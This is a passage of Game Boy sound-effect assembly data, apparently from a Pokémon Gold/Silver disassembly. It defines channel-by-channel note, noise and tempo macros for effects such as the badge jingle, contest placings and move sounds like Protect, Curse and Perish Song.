F_, 2 note __, 2 note A_, 2 intensity $c1 note A#, 2 note A_, 2 note A#, 2 intensity $c2 octave 5 note C_, 6 intensity $c1 octave 4 note C_, 2 note E_, 2 note G_, 2 intensity $c4 note A_, 9 note __, 9 endchannel ; f0ebd togglesfx Sfx_GetEggFromDayCareLady_Ch7: ; f0ebe Sfx_GetEggFromDayCareMan_Ch7: ; f0ebe togglesfx notetype $8, $25 note __, 2 octave 3 note C_, 6 octave 2 note A#, 6 octave 3 note C_, 2 note F_, 2 note G_, 2 note A#, 6 note A_, 9 note __, 9 endchannel ; f0ecf togglesfx Sfx_GetEggFromDayCareLady_Ch8: ; f0ed0 Sfx_GetEggFromDayCareMan_Ch8: ; f0ed0 togglesfx sfxtogglenoise $4 notetype $8 note __, 2 notetype $c note __, 16 note __, 12 endchannel ; f0edb togglesfx Sfx_MoveDeleted: ; f0edc musicheader 4, 5, Sfx_MoveDeleted_Ch5 musicheader 1, 6, Sfx_MoveDeleted_Ch6 musicheader 1, 7, Sfx_MoveDeleted_Ch7 musicheader 1, 8, Sfx_MoveDeleted_Ch8 ; f0ee8 Sfx_MoveDeleted_Ch5: ; f0ee8 togglesfx tempo 116 volume $77 dutycycle $2 vibrato $c, $44 notetype $c, $a4 note __, 8 octave 2 note G_, 1 note __, 2 note C#, 1 note E_, 1 note D#, 1 note E_, 4 intensity $a1 note G_, 2 note F_, 2 note E_, 2 note D_, 2 note G#, 2 note B_, 2 intensity $a6 octave 3 note D_, 10 note __, 6 endchannel ; f0f0c togglesfx Sfx_MoveDeleted_Ch6: ; f0f0d togglesfx dutycycle $3 vibrato $c, $44 notetype $c, $74 octave 1 note B_, 1 octave 2 note D_, 1 note F_, 1 note G#, 1 intensity $94 note D_, 1 note F_, 1 note G#, 1 note B_, 1 intensity $b4 octave 3 note C#, 1 note __, 2 octave 2 note A#, 1 octave 3 note C#, 4 note __, 2 intensity $b1 note C#, 2 note D#, 2 note E_, 2 intensity $b6 note F_, 16 note __, 6 endchannel ; f0f36 togglesfx Sfx_MoveDeleted_Ch7: ; f0f37 togglesfx notetype $6, $25 octave 2 note G#, 8 note A_, 8 note A#, 2 note __, 4 note A#, 1 note __, 1 note A#, 8 note __, 4 octave 3 note C#, 2 note __, 2 note C_, 2 note __, 2 octave 2 note A#, 2 note __, 2 notetype $c, $20 note B_, 16 note __, 6 endchannel ; f0f52 togglesfx Sfx_MoveDeleted_Ch8: ; f0f53 togglesfx sfxtogglenoise $3 notetype $c note F_, 8 note __, 16 note __, 16 note __, 6 endchannel ; f0f5d togglesfx Sfx_2ndPlace: ; f0f5e musicheader 4, 5, Sfx_2ndPlace_Ch5 musicheader 1, 6, Sfx_2ndPlace_Ch6 musicheader 1, 7, Sfx_2ndPlace_Ch7 musicheader 1, 8, Sfx_2ndPlace_Ch8 ; f0f6a Sfx_2ndPlace_Ch5: ; f0f6a togglesfx tempo 116 volume $77 dutycycle $2 vibrato $c, $34 notetype $8, $a1 octave 4 note E_, 2 note E_, 2 note E_, 2 note C_, 2 octave 3 note A_, 2 note F_, 2 note A_, 2 octave 4 note C_, 2 note F_, 2 note C_, 2 octave 3 note A_, 2 octave 4 note F_, 2 note A_, 2 note A_, 2 note A_, 2 intensity $a7 note B_, 12 note __, 6 endchannel ; f0f91 togglesfx Sfx_2ndPlace_Ch6: ; f0f92 togglesfx dutycycle $2 notetype $8, $b1 octave 4 note G_, 2 note G_, 2 note G_, 2 note A_, 4 note B_, 2 intensity $b4 octave 5 note C_, 12 intensity $b1 note C_, 2 note C_, 2 note C_, 2 intensity $b7 note D_, 12 note __, 6 endchannel ; f0fac togglesfx Sfx_2ndPlace_Ch7: ; f0fad togglesfx notetype $8, $25 octave 3 note C_, 1 note __, 1 note C_, 1 note __, 1 note C_, 1 note __, 1 octave 2 note F_, 2 note __, 2 octave 3 note F_, 2 octave 2 note F_, 2 note __, 2 octave 3 note F_, 2 octave 2 note F_, 2 note __, 2 octave 3 note F_, 2 note D_, 1 note __, 1 note D_, 1 note __, 1 note D_, 1 note __, 1 octave 2 note G_, 12 note __, 6 endchannel ; f0fd1 togglesfx Sfx_2ndPlace_Ch8: ; f0fd2 togglesfx sfxtogglenoise $3 notetype $8 Sfx_2ndPlace_branch_f0fd7: ; f0fd7 note C#, 1 loopchannel 6, Sfx_2ndPlace_branch_f0fd7 note B_, 12 note B_, 12 note B_, 12 note __, 6 endchannel ; f0fe1 togglesfx Sfx_1stPlace: ; f0fe2 musicheader 4, 5, Sfx_1stPlace_Ch5 musicheader 1, 6, Sfx_1stPlace_Ch6 musicheader 1, 7, Sfx_1stPlace_Ch7 musicheader 1, 8, Sfx_1stPlace_Ch8 ; f0fee Sfx_1stPlace_Ch5: ; f0fee togglesfx tempo 124 volume $77 dutycycle $3 vibrato $c, $34 notetype $c, $a1 octave 5 note D_, 2 octave 4 note B_, 2 octave 5 note D_, 2 note A#, 1 note F_, 1 note D_, 1 note F_, 1 intensity $91 note D_, 1 octave 4 note A#, 1 note F_, 1 note A#, 1 intensity $81 octave 5 note D_, 1 octave 4 note A#, 1 note F_, 1 note D_, 1 intensity $a1 note C_, 2 note E_, 2 note G_, 2 intensity $a7 note A_, 10 note __, 6 endchannel ; f101f togglesfx Sfx_1stPlace_Ch6: ; f1020 togglesfx dutycycle $3 vibrato $c, $34 notetype $c, $c1 octave 3 note B_, 2 note G_, 2 note B_, 2 intensity $b6 octave 4 note D_, 12 intensity $c1 note E_, 2 note G_, 2 octave 5 note C_, 2 intensity $b7 note D_, 10 note __, 6 endchannel ; f103c togglesfx Sfx_1stPlace_Ch7: ; f103d togglesfx notetype $c, $25 octave 2 note G_, 1 note __, 1 note G_, 1 note __, 1 note G_, 1 note __, 1 note A#, 6 note F_, 6 note E_, 1 note __, 1 note E_, 1 note __, 1 note E_, 1 note __, 1 note D_, 10 note __, 6 endchannel ; f1053 togglesfx Sfx_1stPlace_Ch8: ; f1054 togglesfx sfxtogglenoise $4 notetype $6 note D_, 4 note D_, 4 note D_, 4 note B_, 12 note B_, 10 note C#, 1 note C#, 1 note D_, 4 note D_, 4 note D_, 4 notetype $c note B_, 10 note __, 6 endchannel ; f1068 togglesfx Sfx_ChooseACard: ; f1069 musicheader 4, 5, Sfx_ChooseACard_Ch5 musicheader 1, 6, Sfx_ChooseACard_Ch6 musicheader 1, 7, Sfx_ChooseACard_Ch7 musicheader 1, 8, Sfx_ChooseACard_Ch8 ; f1075 Sfx_ChooseACard_Ch5: ; f1075 togglesfx tempo 152 volume $77 dutycycle $3 notetype $6, $a4 octave 3 note E_, 1 note __, 1 note E_, 1 note __, 1 octave 4 note C#, 4 octave 3 note F_, 1 note __, 1 note F_, 1 note __, 1 octave 4 note D_, 4 octave 3 note E_, 1 note __, 1 note E_, 1 note __, 1 octave 4 note E_, 4 intensity $71 octave 3 note E_, 1 note F#, 1 note G#, 1 note A_, 1 intensity $91 note B_, 1 octave 4 note C#, 1 note D_, 1 note D#, 1 intensity $a4 note E_, 4 note __, 12 endchannel ; f10a8 togglesfx Sfx_ChooseACard_Ch6: ; f10a9 togglesfx dutycycle $3 notetype $6, $b4 octave 3 note A_, 1 note __, 1 note A_, 1 note __, 1 octave 4 note E_, 4 octave 3 note A_, 1 note __, 1 note A_, 1 note __, 1 octave 4 note F_, 4 octave 3 note A_, 1 note __, 1 note A_, 1 note __, 1 octave 4 note G_, 4 note G#, 8 note A_, 4 note __, 12 endchannel ; f10c8 togglesfx Sfx_ChooseACard_Ch7: ; f10c9 togglesfx notetype $6, $25 octave 3 note C#, 1 note __, 1 note C#, 1 note __, 1 octave 2 note A_, 4 octave 3 note D_, 1 note __, 1 note D_, 1 note __, 1 octave 2 note A_, 4 octave 3 note C_, 1 note __, 1 note C_, 1 note __, 1 octave 2 note A_, 4 octave 3 note E_, 2 octave 2 note G#, 2 note B_, 2 note G#, 2 note A_, 4 note __, 12 endchannel ; f10eb togglesfx Sfx_ChooseACard_Ch8: ; f10ec togglesfx sfxtogglenoise $4 notetype $6 note D_, 2 note C#, 2 note B_, 4 note D_, 2 note C#, 2 note B_, 4 note D_, 2 note C#, 2 note D_, 1 note C#, 1 note D_, 1 note C#, 1 note D_, 2 note C#, 2 note C#, 2 note D_, 2 note B_, 16 endchannel ; f1103 togglesfx Sfx_GetTm: ; f1104 musicheader 4, 5, Sfx_GetTm_Ch5 musicheader 1, 6, Sfx_GetTm_Ch6 musicheader 1, 7, Sfx_GetTm_Ch7 musicheader 1, 8, Sfx_GetTm_Ch8 ; f1110 Sfx_GetTm_Ch5: ; f1110 togglesfx tempo 144 volume $77 dutycycle $3 vibrato $8, $24 notetype $c, $a3 octave 4 note D_, 1 note __, 1 octave 3 note B_, 1 octave 4 note D_, 1 note G_, 6 intensity $b1 note E_, 2 note F#, 2 note G_, 2 intensity $a5 note F#, 8 note __, 6 endchannel ; f1130 togglesfx Sfx_GetTm_Ch6: ; f1131 togglesfx dutycycle $3 vibrato $8, $24 notetype $c, $b3 octave 4 note G_, 1 note __, 1 note D_, 1 note G_, 1 note B_, 6 intensity $c1 note A_, 2 note B_, 2 octave 5 note C_, 2 intensity $b5 note D_, 8 note __, 6 endchannel ; f114b togglesfx Sfx_GetTm_Ch7: ; f114c togglesfx notetype $6, $25 octave 2 note B_, 2 note __, 2 note G_, 2 note B_, 2 octave 3 note D_, 4 octave 2 note G_, 1 note __, 1 note G_, 1 note __, 1 note G_, 4 octave 3 note C_, 2 note __, 2 octave 2 note B_, 2 note __, 2 octave 3 note C_, 4 octave 2 note A_, 16 note __, 6 endchannel ; f1169 togglesfx Sfx_GetTm_Ch8: ; f116a togglesfx sfxtogglenoise $4 notetype $6 note D_, 4 note C#, 2 note D_, 2 note B_, 8 note D_, 4 note C#, 4 note D_, 4 note C#, 1 note C#, 1 note D_, 2 note B_, 16 note __, 6 endchannel ; f117c togglesfx Sfx_GetBadge: ; f117d musicheader 4, 5, Sfx_GetBadge_Ch5 musicheader 1, 6, Sfx_GetBadge_Ch6 musicheader 1, 7, Sfx_GetBadge_Ch7 musicheader 1, 8, Sfx_GetBadge_Ch8 ; f1189 Sfx_GetBadge_Ch5: ; f1189 togglesfx tempo 120 volume $77 dutycycle $2 vibrato $8, $24 notetype $6, $92 octave 4 note F_, 3 callchannel Sfx_GetBadge_branch_f11aa note A#, 3 pitchoffset 0, D_ callchannel Sfx_GetBadge_branch_f11aa pitchoffset 0, C_ intensity $a7 note A_, 16 note __, 6 endchannel ; f11a9 togglesfx Sfx_GetBadge_branch_f11aa: ; f11aa note __, 5 octave 3 note F_, 2 note G#, 2 octave 4 note C#, 2 note F_, 2 note C#, 2 octave 3 note F_, 2 note G#, 2 octave 4 note C#, 2 octave 3 note F_, 2 note G#, 2 octave 4 note C#, 2 note F_, 2 endchannel ; f11be Sfx_GetBadge_Ch6: ; f11be togglesfx dutycycle $3 vibrato $8, $24 notetype $6, $b5 octave 5 note C#, 3 note __, 3 octave 4 note G#, 1 note __, 1 note G#, 8 octave 3 note C#, 2 note __, 2 octave 2 note G#, 2 note __, 1 intensity $95 octave 5 note C_, 1 intensity $b5 note C#, 2 note __, 2 note D_, 2 note __, 2 note D#, 3 note __, 3 octave 4 note A#, 1 note __, 1 note A#, 8 octave 3 note D#, 2 note __, 2 octave 2 note A#, 2 note __, 1 intensity $95 octave 5 note D_, 1 intensity $b5 note D#, 8 note F_, 16 note __, 6 endchannel ; f11f4 togglesfx Sfx_GetBadge_Ch7: ; f11f5 togglesfx notetype $6, $25 octave 2 note G#, 3 note __, 3 octave 3 note C#, 1 note __, 1 note C#, 8 note G#, 2 note __, 2 note F_, 2 note __, 2 note C#, 2 note C_, 2 octave 2 note A#, 2 note G#, 2 note G_, 3 note __, 3 octave 3 note D#, 1 note __, 1 note D#, 8 note A#, 2 note __, 2 note G_, 2 note __, 2 note G_, 2 note F_, 2 note G_, 2 note D#, 2 note F_, 16 note __, 6 endchannel ; f121a togglesfx Sfx_GetBadge_Ch8: ; f121b togglesfx sfxtogglenoise $4 notetype $6 Sfx_GetBadge_branch_f1220: ; f1220 note B_, 12 note D_, 1 note D_, 1 note D_, 2 note D_, 4 note D_, 4 note D_, 1 note C#, 1 note C#, 1 note C#, 1 note C#, 1 note C#, 1 note C#, 1 note C#, 1 loopchannel 2, Sfx_GetBadge_branch_f1220 note B_, 16 note __, 6 endchannel ; f1235 togglesfx Sfx_QuitSlots: ; f1236 musicheader 4, 5, Sfx_QuitSlots_Ch5 musicheader 1, 6, Sfx_QuitSlots_Ch6 musicheader 1, 7, Sfx_QuitSlots_Ch7 musicheader 1, 8, Sfx_QuitSlots_Ch8 ; f1242 Sfx_QuitSlots_Ch5: ; f1242 togglesfx tempo 144 volume $77 dutycycle $2 notetype $8, $82 octave 3 note G#, 2 note __, 4 note C#, 2 note F_, 2 note G#, 2 note F_, 2 note G#, 2 octave 4 note D_, 2 note F_, 2 note D_, 2 octave 3 note B_, 2 note A#, 2 note F#, 2 note A#, 2 note G#, 2 note F#, 2 intensity $97 note G#, 14 note __, 6 endchannel ; f1265 togglesfx Sfx_QuitSlots_Ch6: ; f1266 togglesfx dutycycle $2 notetype $8, $b3 note __, 3 octave 4 note B_, 1 octave 5 note C_, 2 octave 4 note G#, 4 note A#, 2 intensity $c1 note B_, 4 note A#, 2 note G#, 4 note F_, 2 note F#, 4 note F_, 2 note D#, 4 intensity $b7 note F_, 14 note __, 6 endchannel ; f1282 togglesfx Sfx_QuitSlots_Ch7: ; f1283 togglesfx notetype $8, $25 octave 3 note C#, 2 note __, 2 note F_, 2 note D#, 2 note C#, 2 note G#, 2 note D_, 2 note __, 2 note D_, 2 octave 2 note G#, 2 note B_, 2 octave 3 note D_, 2 note D#, 2 note __, 2 octave 2 note A#, 2 octave 3 note C_, 2 note __, 2 note C#, 14 note __, 6 endchannel ; f12a0 togglesfx Sfx_QuitSlots_Ch8: ; f12a1 togglesfx sfxtogglenoise $3 notetype $8 note D#, 6 note D_, 4 note D#, 2 note D#, 4 note D#, 2 note D_, 4 note D#, 2 note D_, 4 note D#, 2 note D_, 4 note B_, 14 note __, 6 endchannel ; f12b3 togglesfx Sfx_Protect: ; f12b4 musicheader 2, 5, Sfx_Protect_Ch5 musicheader 1, 8, Sfx_Protect_Ch8 ; f12ba Sfx_Protect_Ch5: ; f12ba togglesfx notetype $1, $f1 dutycycle $0 Sfx_Protect_branch_f12c0: ; f12c0 octave 5 note F_, 5 note A_, 5 octave 6 note C_, 5 note E_, 5 octave 5 note F#, 5 note A#, 5 octave 6 note C#, 5 note E_, 5 loopchannel 3, Sfx_Protect_branch_f12c0 intensity $c1 octave 5 note F_, 5 note A_, 5 intensity $91 octave 6 note C_, 5 note E_, 5 intensity $71 octave 5 note F#, 5 note A#, 5 intensity $51 octave 6 note C#, 5 note E_, 5 endchannel ; f12e5 Sfx_Protect_Ch8: ; f12e5 Sfx_Protect_branch_f12e5: ; f12e5 noise __, 10, $9e, $0 noise __, 10, $be, $11 loopchannel 6, Sfx_Protect_branch_f12e5 noise __, 10, $a7, $0 noise C_, 1, $75, $11 endchannel ; f12f6 Sfx_Sketch: ; f12f6 musicheader 1, 5, Sfx_Sketch_Ch5 ; f12f9 Sfx_Sketch_Ch5: ; f12f9 dutycycle $1 soundinput $a5 Sfx_Sketch_branch_f12fd: ; f12fd sound __, 3, $f1, $06e0 sound __, 14, $af, $05b0 sound __, 5, $0, 0 sound __, 10, $f4, $0718 loopchannel 3, Sfx_Sketch_branch_f12fd soundinput $8 endchannel ; f1314 Sfx_RainDance: ; f1314 musicheader 1, 8, Sfx_RainDance_Ch8 ; f1317 Sfx_RainDance_Ch8: ; f1317 Sfx_RainDance_branch_f1317: ; f1317 noise __, 12, $7d, $50 noise __, 7, $7d, $4f noise __, 12, $7f, $47 noise __, 16, $6e, $22 loopchannel 3, Sfx_RainDance_branch_f1317 noise __, 7, $6d, $50 noise __, 6, $5d, $4f noise __, 6, $4f, $47 noise __, 11, $32, $46 endchannel ; f1334 Sfx_Aeroblast: ; f1334 musicheader 2, 5, Sfx_Aeroblast_Ch5 musicheader 1, 8, Sfx_Aeroblast_Ch8 ; f133a Sfx_Aeroblast_Ch5: ; f133a sound_duty 2, 0, 3, 3 soundinput $f5 sound C_, 13, $f8, $0580 soundinput $8 endchannel ; f1345 Sfx_Aeroblast_Ch8: ; f1345 noise __, 5, $f8, $6c noise __, 5, $c8, $5c noise __, 5, $78, $5b noise C_, 1, $31, $5a endchannel ; f1352 Sfx_Spark: ; f1352 musicheader 1, 8, Sfx_Spark_Ch8 ; f1355 Sfx_Spark_Ch8: ; f1355 Sfx_Spark_branch_f1355: ; f1355 noise __, 5, $f8, $5d noise __, 5, $d8, $6f loopchannel 2, Sfx_Spark_branch_f1355 endchannel ; f1360 Sfx_Curse: ; f1360 musicheader 2, 5, Sfx_Curse_Ch5 musicheader 1, 8, Sfx_Curse_Ch8 ; f1366 Sfx_Curse_Ch5: ; f1366 dutycycle $3 sound __, 5, $f2, $0483 sound __, 5, $f2, $0511 sound __, 5, $f2, $0589 sound __, 5, $f2, $05ed endchannel ; f1379 Sfx_Curse_Ch8: ; f1379 noise C_, 5, $9a, $9 endchannel ; f137d Sfx_Rage: ; f137d musicheader 2, 5, Sfx_Rage_Ch5 musicheader 1, 8, Sfx_Rage_Ch8 ; f1383 Sfx_Rage_Ch5: ; f1383 dutycycle $0 sound __, 4, $d1, $07b0 sound __, 4, $d1, $07c2 sound C_, 9, $d2, $07d5 endchannel ; f1392 Sfx_Rage_Ch8: ; f1392 noise __, 4, $f4, $1a noise __, 4, $f4, $19 noise C_, 9, $f2, $18 endchannel ; f139c Sfx_Thief: ; f139c musicheader 1, 8, Sfx_Thief_Ch8 ; f139f Sfx_Thief_Ch8: ; f139f Sfx_Thief_branch_f139f: ; f139f noise __, 1, $0, $0 noise __, 5, $e1, $12 noise __, 1, $0, $0 noise __, 3, $b1, $22 loopchannel 2, Sfx_Thief_branch_f139f endchannel ; f13b0 Sfx_Thief2: ; f13b0 musicheader 1, 5, Sfx_Thief2_Ch5 ; f13b3 Sfx_Thief2_Ch5: ; f13b3 togglesfx notetype $2, $f4 dutycycle $0 octave 4 note C#, 3 note A#, 3 intensity $d2 note C#, 3 note A#, 3 intensity $b1 note C_, 3 note A_, 3 intensity $81 note C_, 3 note A_, 3 togglesfx endchannel ; f13ca Sfx_SpiderWeb: ; f13ca musicheader 2, 5, Sfx_SpiderWeb_Ch5 musicheader 1, 8, Sfx_SpiderWeb_Ch8 ; f13d0 Sfx_SpiderWeb_Ch5: ; f13d0 dutycycle $0 sound C#, 1, $7f, $0720 soundinput $95 sound __, 5, $f8, $0620 sound __, 5, $e8, $0630 sound __, 5, $d8, $0640 sound __, 5, $95, $0620 sound __, 5, $73, $0630 sound __, 5, $51, $0640 soundinput $8 endchannel ; f13f3 Sfx_SpiderWeb_Ch8: ; f13f3 noise C#, 1, $ef, $0 endchannel ; f13f7 Sfx_MindReader: ; f13f7 musicheader 2, 5, Sfx_MindReader_Ch5 musicheader 1, 8, Sfx_MindReader_Ch8 ; f13fd Sfx_MindReader_Ch5: ; f13fd togglesfx dutycycle $2 notetype $2, $f1 octave 5 note C_, 3 intensity $41 note C_, 3 intensity $f1 note C#, 3 intensity $41 note C#, 3 intensity $f1 note D_, 3 intensity $41 note D_, 3 togglesfx endchannel ; f1416 Sfx_MindReader_Ch8: ; f1416 noise C_, 2, $af, $19 noise C_, 3, $af, $18 endchannel ; f141d Sfx_Nightmare: ; f141d musicheader 1, 5, Sfx_Nightmare_Ch5 ; f1420 Sfx_Nightmare_Ch5: ; f1420 dutycycle $0 soundinput $34 Sfx_Nightmare_branch_f1424: ; f1424 sound __, 4, $ba, $0631 sound __, 3, $0, 0 sound __, 4, $f8, $0621 sound __, 3, $0, 0 sound __, 4, $f8, $0611 sound __, 3, $0, 0 sound __, 4, $e8, $0601 sound __, 3, $0, 0 sound __, 4, $e8, $05f1 sound __, 3, $0, 0 loopchannel 2, Sfx_Nightmare_branch_f1424 soundinput $8 endchannel ; f1453 Sfx_Snore: ; f1453 musicheader 1, 8, Sfx_Snore_Ch8 ; f1456 Sfx_Snore_Ch8: ; f1456 noise __, 3, $ea, $4b noise __, 3, $ea, $5b noise __, 3, $0, $0 noise __, 5, $ee, $47 noise __, 5, $ee, $46 noise __, 5, $ee, $45 endchannel ; f1469 Sfx_SweetKiss: ; f1469 musicheader 1, 5, Sfx_SweetKiss_Ch5 ; f146c Sfx_SweetKiss_Ch5: ; f146c dutycycle $2 Sfx_SweetKiss_branch_f146e: ; f146e sound __, 3, $c1, $07c8 sound __, 3, $d1, $07da loopchannel 2, Sfx_SweetKiss_branch_f146e sound C_, 11, $f1, $07e2 endchannel ; f147f Sfx_SweetKiss2: ; f147f musicheader 1, 5, Sfx_SweetKiss2_Ch5 ; f1482 Sfx_SweetKiss2_Ch5: ; f1482 dutycycle $0 soundinput $97 sound __, 3, $f4, $0772 sound __, 5, $0, 0 sound __, 3, $c4, $0772 sound __, 5, $0, 0 sound __, 3, $b4, $0772 sound __, 5, $0, 0 sound __, 3, $a1, $0772 soundinput $8 endchannel ; f14a5 Sfx_BellyDrum: ; f14a5 musicheader 2, 5, Sfx_BellyDrum_Ch5 musicheader 1, 8, Sfx_BellyDrum_Ch8 ; f14ab Sfx_BellyDrum_Ch5: ; f14ab dutycycle $2 soundinput $ac sound __, 13, $f1, $05a3 soundinput $8 endchannel ; f14b6 Sfx_BellyDrum_Ch8: ; f14b6 noise __, 13, $b1, $6c endchannel ; f14ba Sfx_Unknown7F: ; f14ba musicheader 1, 5, Sfx_Unknown7F_Ch5 ; f14bd Sfx_Unknown7F_Ch5: ; f14bd dutycycle $2 soundinput $95 sound __, 3, $c9, $03b3 sound __, 6, $f8, $0463 sound __, 5, $d1, $0543 soundinput $8 endchannel ; f14d0 Sfx_SludgeBomb: ; f14d0 musicheader 2, 5, Sfx_SludgeBomb_Ch5 musicheader 1, 8, Sfx_SludgeBomb_Ch8 ; f14d6 Sfx_SludgeBomb_Ch5: ; f14d6 dutycycle $2 soundinput $c5 sound __, 4, $f8, $0581 sound __, 2, $0, 0 soundinput $cb sound C_, 1, $f2, $05d1 soundinput $8 endchannel ; f14eb Sfx_SludgeBomb_Ch8: ; f14eb noise __, 4, $e2, $6e noise __, 2, $0, $0 noise C_, 1, $e2, $6d endchannel ; f14f5 Sfx_Foresight: ; f14f5 musicheader 1, 5, Sfx_Foresight_Ch5 ; f14f8 Sfx_Foresight_Ch5: ; f14f8 sound __, 4, $f4, $07b5 sound __, 4, $f5, $07c8 sound __, 9, $f4, $07da sound __, 3, $0, 0 sound __, 9, $c1, $07da sound __, 3, $0, 0 sound __, 9, $91, $07da endchannel ; f1515 Sfx_Spite: ; f1515 musicheader 1, 5, Sfx_Spite_Ch5 ; f1518 Sfx_Spite_Ch5: ; f1518 togglesfx vibrato $0, $12 dutycycle $3 soundinput $fd notetype $3, $f8 octave 3 note F_, 3 note G#, 3 note B_, 3 note E_, 3 note G_, 3 note A#, 3 intensity $bf note D#, 3 note F#, 3 note A_, 3 intensity $5f note D_, 3 intensity $2f note F_, 3 note G#, 3 soundinput $8 togglesfx endchannel ; f153a Sfx_Outrage: ; f153a musicheader 1, 8, Sfx_Outrage_Ch8 ; f153d Sfx_Outrage_Ch8: ; f153d noise __, 12, $ea, $6c noise __, 12, $ea, $6b noise __, 12, $ea, $6a noise __, 12, $ea, $69 noise __, 12, $e1, $59 endchannel ; f154d Sfx_PerishSong: ; f154d musicheader 2, 5, Sfx_PerishSong_Ch5 musicheader 1, 6, Sfx_PerishSong_Ch6 ; f1553 Sfx_PerishSong_Ch5: ; f1553 togglesfx dutycycle $0 vibrato $12, $53 notetype $8, $af octave 4 note A_, 9 note G#, 9 togglesfx endchannel ; f1561 Sfx_PerishSong_Ch6: ; f1561 togglesfx dutycycle $0 vibrato $12, $53 notetype $8, $af octave 4 note C_, 9 octave 3 note B_, 9 togglesfx endchannel ; f1570 Sfx_GigaDrain: ; f1570 musicheader 2, 5, Sfx_GigaDrain_Ch5 musicheader 1, 8, Sfx_GigaDrain_Ch8 ; f1576 Sfx_GigaDrain_Ch5: ; f1576 dutycycle $2 soundinput $97 sound __, 5, $f8, $0680 sound C_, 5, $f8, $0680 sound C_, 5, $c8, $0660 sound C_, 5, $a8, $0670 sound C_, 5, $88, $0680 sound C_, 5, $f8, $0561 sound C_, 5, $c8, $0541 sound C_, 5, $a8, $0521 sound C_, 5, $88, $0511 soundinput $8 endchannel ; f15a1 Sfx_GigaDrain_Ch8: ; f15a1 noise __, 5, $c8, $44 noise C_, 5, $c8, $50 noise C_, 5, $c8, $52 noise C_, 5, $c8, $54 noise C_, 5, $c8, $56 noise D#, 1, $c7, $57 endchannel ; f15b4 Sfx_Attract: ; f15b4 musicheader 1, 5, Sfx_Attract_Ch5 ; f15b7 Sfx_Attract_Ch5: ; f15b7 dutycycle $0 soundinput $77 sound __, 5, $a9, $06f0 sound __, 13, $f8, $0720 soundinput $7f sound __, 9, $f1, $0740 soundinput $8 endchannel ; f15cc Sfx_Kinesis2: ; f15cc musicheader 1, 5, Sfx_Kinesis2_Ch5 ; f15cf Sfx_Kinesis2_Ch5: ; f15cf dutycycle $0 sound __, 3, $f3, $0796 sound __, 3, $23, $0796 sound C_, 5, $f1, $07c4 endchannel ; f15de Sfx_ZapCannon: ; f15de musicheader 1, 8, Sfx_ZapCannon_Ch8 ; f15e1 Sfx_ZapCannon_Ch8: ; f15e1 Sfx_ZapCannon_branch_f15e1: ; f15e1 noise __, 3, $e1, $49 noise __, 1, $0, $0 loopchannel 8, Sfx_ZapCannon_branch_f15e1 noise __, 9, $e1, $49 endchannel ; f15ef Sfx_MeanLook: ; f15ef musicheader 1, 5, Sfx_MeanLook_Ch5 ; f15f2 Sfx_MeanLook_Ch5: ; f15f2 soundinput $77 dutycycle $3 sound __, 3, $f8, $0720 Sfx_MeanLook_branch_f15fa: ; f15fa sound __, 2, $88, $0660 sound __, 3, $f8, $0790 loopchannel 5, Sfx_MeanLook_branch_f15fa sound __, 13, $f8, $0700 sound __, 13, $c8, $0720 sound __, 13, $a8, $0700 sound __, 13, $78, $0720 sound __, 13, $48, $0700 sound __, 13, $28, $0720 soundinput $8 endchannel ; f1621 Sfx_HealBell: ; f1621 musicheader 1, 5, Sfx_HealBell_Ch5 ; f1624 Sfx_HealBell_Ch5: ; f1624 dutycycle $1 sound __, 2, $f1, $07da sound __, 2, $d1, $07d9 sound __, 2, $f1, $07da sound __, 9, $d1, $07db endchannel ; f1637 Sfx_Return: ; f1637 musicheader 1, 5, Sfx_Return_Ch5 ; f163a Sfx_Return_Ch5: ; f163a dutycycle $0 Sfx_Return_branch_f163c: ; f163c soundinput $bf sound __, 9, $f1, $0759 soundinput $57 sound __, 9, $f1, $0759 sound C_, 1, $0, 0 loopchannel 2, Sfx_Return_branch_f163c soundinput $8 endchannel ; f1653 Sfx_ExpBar: ; f1653 musicheader 1, 5, Sfx_ExpBar_Ch5 ; f1656 Sfx_ExpBar_Ch5: ; f1656 dutycycle $2 soundinput $d7 sound __, 9, $e1, $0750 soundinput $e7 sound __, 9, $48, $06e0 sound __, 9, $58, $06f8 sound __, 9, $68, $0710 sound __, 9, $78, $0728 sound __, 9, $88, $0740 sound __, 9, $98, $0758 sound C_, 1, $a8, $0770 soundinput $8 endchannel ; f167f Sfx_MilkDrink: ; f167f musicheader 1, 5, Sfx_MilkDrink_Ch5 ; f1682 Sfx_MilkDrink_Ch5: ; f1682 dutycycle $2 Sfx_MilkDrink_branch_f1684: ; f1684 soundinput $a4 sound __, 3, $ea, $04e0 sound __, 14, $f7, $0290 soundinput $9e sound __, 5, $c9, $05e1 sound __, 3, $0, 0 loopchannel 6, Sfx_MilkDrink_branch_f1684 soundinput $8 endchannel ; f169f Sfx_Present: ; f169f musicheader 1, 5, Sfx_Present_Ch5 ; f16a2 Sfx_Present_Ch5: ; f16a2 dutycycle $2 soundinput $d6 Sfx_Present_branch_f16a6: ; f16a6 sound __, 3, $f1, $0740 sound __, 2, $0, 0 loopchannel 3, Sfx_Present_branch_f16a6 sound C_, 1, $f1, $0780 soundinput $8 endchannel ; f16b9 Sfx_MorningSun: ; f16b9 musicheader 1, 5, Sfx_MorningSun_Ch5 ; f16bc Sfx_MorningSun_Ch5: ; f16bc dutycycle $3 Sfx_MorningSun_branch_f16be: ; f16be sound __, 3, $f1, $07e4 sound __, 3, $f1, $07e0 sound __, 6, $f2, $07e7 loopchannel 3, Sfx_MorningSun_branch_f16be sound __, 2, $0, 0 sound __, 9, $c2, $07e7 sound __, 2, $0, 0 sound __, 9, $82, $07e7 endchannel ; f16df Sfx_Moonlight: ; f16df musicheader 1, 5, Sfx_Moonlight_Ch5 ; f16e2 Sfx_Moonlight_Ch5: ; f16e2 dutycycle $2 Sfx_Moonlight_branch_f16e4: ; f16e4 sound __, 2, $f8, $07d0 sound __, 5, $f1, $07e0 loopchannel 2, Sfx_Moonlight_branch_f16e4 sound C_, 1, $f1, $07e0 sound C_, 1, $d1, $07e0 sound C_, 1, $81, $07e0 endchannel ; f16fd Sfx_Encore: ; f16fd musicheader 2, 5, Sfx_Encore_Ch5 musicheader 1, 8, Sfx_Encore_Ch8 ; f1703 Sfx_Encore_Ch5: ; f1703 dutycycle $2 soundinput $ce sound C_, 1, $0, 0 Sfx_Encore_branch_f170b: ; f170b sound __, 3, $f8, $0774 sound C#, 5, $0, 0 loopchannel 2, Sfx_Encore_branch_f170b soundinput $8 endchannel ; f171a Sfx_Encore_Ch8: ; f171a noise D_, 1, $1f, $36 noise D_, 1, $76, $36 endchannel ; f1721 Sfx_BeatUp: ; f1721 musicheader 1, 8, Sfx_BeatUp_Ch8 ; f1724 